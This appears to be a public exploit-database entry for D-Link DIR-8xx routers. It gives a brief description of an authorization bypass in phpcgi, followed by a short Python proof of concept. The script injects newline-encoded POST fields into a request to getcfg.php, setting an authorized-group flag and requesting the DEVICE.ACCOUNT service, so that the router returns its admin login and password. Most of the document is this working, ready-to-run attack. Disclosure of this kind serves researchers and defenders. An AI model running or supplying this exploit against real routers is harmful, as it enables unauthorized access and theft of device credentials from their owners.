D-Link DIR-8xx Routers – Leak Credentials
# phpcgi is responsible for processing requests to .php, .asp and .txt pages. Also, it checks whether a user is authorized or not. Nevertheless, if a request is crafted in a proper way, an attacker can easily bypass authorization and execute a script that returns a login and password to a router. # E-DB Note: https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin # E-DB Note: https://github.com/embedi/DIR8xx_PoC/blob/b0609957692f71da48fd7de28be0516b589187c3/phpcgi.py import requests as rq EQ = "%3d" IP = "192.168.0.1" PORT = "80" def pair(key, value): return "%0a_POST_" + key + EQ + value headers_multipart = { 'CONTENT-TYPE' : 'application/x-www-form-urlencoded' } url = 'http://{ip}:{port}/getcfg.php'.format(ip=IP, port=PORT) auth = "%0aAUTHORIZED_GROUP%3d1" data = "A=A" + pair("SERVICES", "DEVICE.ACCOUNT") + auth print(rq.get(url, data=data, headers=headers_multipart).text) |